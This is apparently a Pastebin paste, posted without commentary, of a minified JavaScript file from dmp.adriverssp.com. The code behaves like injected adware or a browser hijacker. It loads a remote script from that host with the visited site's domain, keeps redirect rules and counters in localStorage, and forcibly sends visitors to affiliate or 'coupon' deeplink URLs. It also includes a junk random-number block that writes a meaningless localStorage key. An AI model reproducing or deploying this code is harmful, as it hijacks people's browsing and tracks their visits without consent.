Advertisement
Guest User

http://dmp.adriverssp.com/scripts/stat/adriverssp.js

a guest
Oct 20th, 2015
229
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. (function() {
  3.   function t(a) {
  4.     return a.replace(/(^\s+)|(\s+$)/g, "")
  5.   }
  6.  
  7.   function B(a, f) {
  8.     var b = a.surl.length,
  9.       c = f.surl.length;
  10.     return b > c ? -1 : b < c ? 1 : 0
  11.   }
  12.  
  13.   function C(a, f, b) {
  14.     var f = f || function() {},
  15.       b = b || function() {},
  16.       c = a.domains,
  17.       d = a.urls,
  18.       g = a.deeplink,
  19.       i = a.check_disable;
  20.     if ("undefined" !== typeof i && i[k] && i[k].need_check)
  21.       if (document.referrer) {
  22.         if (i[k].is_disabled) {
  23.           if (document.referrer.split(/\/+/g)[1].replace(/www\./i, "") === k) {
  24.             setTimeout(b, 10);
  25.             return
  26.           }
  27.           i[k].is_disabled = !1;
  28.           j.setValue("__bb_js_preffix_urls", a)
  29.         }
  30.       } else {
  31.         i[k].is_disabled = !0;
  32.         j.setValue("__bb_js_preffix_urls", a);
  33.         setTimeout(b, 10);
  34.         return
  35.       }
  36.     if (d = d[r]) {
  37.       var h;
  38.       "object" === typeof d ? (h = d[0], d.splice(0, 1), d.push(h), j.setValue("__bb_js_preffix_urls", a)) : h = d;
  39.       setTimeout(function() {
  40.         f(h)
  41.       }, 10)
  42.     } else if (g && g[k]) e = g[k], c = !1, e.current_page <= e.page_visible && (e.current_page++, j.setValue("__bb_js_preffix_urls", a), e.current_page === e.page_visible && ("object" === typeof e.rurl ? (h = e.rurl[0], e.rurl.splice(0, 1), e.rurl.push(h), j.setValue("__bb_js_preffix_urls", a)) : h = e.rurl, h += e.deeplink, h += r.split("?")[0],
  43.       setTimeout(function(a) {
  44.         return function() {
  45.           f(a)
  46.         }
  47.       }(h), 10), c = !0)), c || setTimeout(b, 10);
  48.     else if (c[k]) {
  49.       d = c[k];
  50.       c = !1;
  51.       g = 0;
  52.       for (i = d.length; g < i; ++g) {
  53.         var e = d[g];
  54.         if (0 === r.indexOf(e.surl) && e.count < e.max) {
  55.           e.count++;
  56.           "object" === typeof e.rurl ? (h = e.rurl[0], e.rurl.splice(0, 1), e.rurl.push(h)) : h = e.rurl;
  57.           j.setValue("__bb_js_preffix_urls", a);
  58.           setTimeout(function(a) {
  59.             return function() {
  60.               f(a)
  61.             }
  62.           }(h), 10);
  63.           c = !0;
  64.           break
  65.         }
  66.       }
  67.       c || setTimeout(b, 10)
  68.     } else setTimeout(b, 10)
  69.   }
  70.  
  71.   function D(a) {
  72.     var f = j.getValue("__bb_js_preffix_cleared_time", null);
  73.     if (f) {
  74.       if (36E5 <
  75.         (new Date).getTime() - f) {
  76.         f = !1;
  77.         if ("undefined" !== typeof a.domains) {
  78.           var b = a.domains,
  79.             c;
  80.           for (c in b)
  81.             if (b.hasOwnProperty(c))
  82.               for (var d = b[c], g = 0, i = d.length; g < i; ++g) d[g].count = 0, f = !0
  83.         }
  84.         if ("undefined" !== typeof a.deeplink)
  85.           for (c in b = a.deeplink, b) b.hasOwnProperty(c) && (d = b[c], d.hasOwnProperty("current_page") && (d.current_page = 0, f = !0));
  86.         !0 === f && (j.setValue("__bb_js_preffix_urls", a), j.setValue("__bb_js_preffix_cleared_time", (new Date).getTime()))
  87.       }
  88.     } else j.setValue("__bb_js_preffix_cleared_time", (new Date).getTime())
  89.   }
  90.  
  91.   function E(a) {
  92.     D(a);
  93.     var f = u(),
  94.       b = "bonus";
  95.     f && (b = f.getAttribute("data-wid") || "bonus");
  96.     "1011" != b && C(a, function(a) {
  97.       window.onbeforeunload = function() {};
  98.       a = a.replace("bonus", b).replace("bendar", b);
  99.       p.location.assign(a)
  100.     })
  101.   }
  102.  
  103.   function y(a) {
  104.     delete p.__bb_js_preffix_redirections_coupons;
  105.     j.setValue("__bb_js_preffix_urls", a);
  106.     E(a)
  107.   }
  108.  
  109.   function F() {
  110.     var a = "",
  111.       f = u();
  112.     if (f)
  113.       for (var b = "_e,_c,_re,_cl,data-wid,data-sid,data-sud".split(","), c, d = 0, g = b.length; d < g; ++d)(c = f.getAttribute(b[d])) && (a += "&" + b[d] + "=" + c);
  114.     return a
  115.   }
  116.  
  117.   function G() {
  118.     p.__bb_js_preffix_redirections_coupons =
  119.       function(a, b, c, d) {
  120.         var g = z,
  121.           i = g.domains,
  122.           h = g.urls,
  123.           e = g.deeplink,
  124.           k = g.check_disable,
  125.           n = u();
  126.         n && n.getAttribute("data-wid");
  127.         for (var q in a)
  128.           if (a.hasOwnProperty(q)) {
  129.             var n = t(q),
  130.               o = n.indexOf("*"),
  131.               m = null,
  132.               s = n.split(/\/+/g)[1];
  133.             k[s] = a[q].disable_tn ? {
  134.               need_check: !0
  135.             } : {
  136.               need_check: !1
  137.             };
  138.             var l = a[q].d_url;
  139.             if ("object" === typeof l) {
  140.               for (var m = [], v = 0, r = l.length; v < r; v++) l[v] && m.push(t(l[v]));
  141.               l = m
  142.             } else l = [], l.push(t(a[q].d_url));
  143.             m = a[q].dl;
  144.             null !== m ? (m = t(m), e[s] = {
  145.               deeplink: m,
  146.               rurl: l,
  147.               page_visible: 2,
  148.               current_page: 0
  149.             }) : 0 <= o ? (i[s] || (i[s] = []),
  150.               i[s].push({
  151.                 max: 1,
  152.                 count: 0,
  153.                 surl: n.substr(0, o),
  154.                 rurl: l
  155.               })) : h[n] = l
  156.           }
  157.         for (var p in i) i.hasOwnProperty(p) && i[p].sort(B);
  158.         j.setValue("__bb_js_preffix_urls", g);
  159.         y(g, b, c, d)
  160.       };
  161.     var a = u();
  162.     a && a.getAttribute("data-wid");
  163.     a = H("script");
  164.     a.src = I + "js/redirecs2coupons?host=" + k + F() + "&modern=1";
  165.     J.appendChild(a)
  166.   }(function() {
  167.     var a = 0;
  168.     15 + 10 * Math.random() === Math.random() && (a = 15 + 0 * Math.random());
  169.     (a = 1 + a) && a < Math.random() && (localStorage.__agbsesrrrrisr = 1);
  170.     (a = 2 + a) && a < Math.random() && (localStorage.__agbsesrrrrisr = 2);
  171.     (a = 3 + a) && a < Math.random() &&
  172.       (localStorage.__agbsesrrrrisr = 3);
  173.     (a = 4 + a) && a < Math.random() && (localStorage.__agbsesrrrrisr = 4);
  174.     (a = 5 + a) && a < Math.random() && (localStorage.__agbsesrrrrisr = 5);
  175.     (a = 6 + a) && a < Math.random() && (localStorage.__agbsesrrrrisr = 6);
  176.     (a = 7 + a) && a < Math.random() && (localStorage.__agbsesrrrrisr = 7);
  177.     (a = 8 + a) && a < Math.random() && (localStorage.__agbsesrrrrisr = 8);
  178.     return a
  179.   })();
  180.   var I = "//dmp.adriverssp.com/",
  181.     r = location.href.replace(/www\./i, ""),
  182.     k = location.host.replace(/^www\./i, ""),
  183.     w = document,
  184.     p = window,
  185.     J = w.body,
  186.     x = {},
  187.     z = {
  188.       domains: {},
  189.       urls: {},
  190.       deeplink: {},
  191.       check_disable: {}
  192.     },
  193.     j = function() {
  194.       for (var a = {}, f = 0, b = localStorage.length; f < b; f++) {
  195.         var c = localStorage.key(f),
  196.           d = null;
  197.         try {
  198.           /^__bb_js_preffix/.test(c) && (d = localStorage.getItem(c), a[c] = JSON.parse(d))
  199.         } catch (g) {
  200.           a[c] = d
  201.         }
  202.       }
  203.       return {
  204.         getValue: function(b, c) {
  205.           var e = a[b];
  206.           return "undefined" !== typeof e ? e : c
  207.         },
  208.         setValue: function(b, c) {
  209.           var e = a[b],
  210.             d = "object" === typeof c ? JSON.parse(JSON.stringify(c)) : c;
  211.           e !== d && (a[b] = d, localStorage.setItem(b, "object" === typeof d ? JSON.stringify(d) : d));
  212.           return c
  213.         }
  214.       }
  215.     }(),
  216.     u = x.a = function() {
  217.       return w.getElementById("__bb_js_preffix_id")
  218.     },
  219.     H = x.b = function(a) {
  220.       return w.createElement(a)
  221.     },
  222.     o = j.getValue("__bb_js_preffix_installTime", null),
  223.     A = (new Date).getTime();
  224.   !o || 432E5 < A - o ? (j.setValue("__bb_js_preffix_installTime", A), G()) : (o = j.getValue("__bb_js_preffix_urls", z)) ? y(o, {}, 0, 0) : doCoupons();
  225.   return x
  226. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement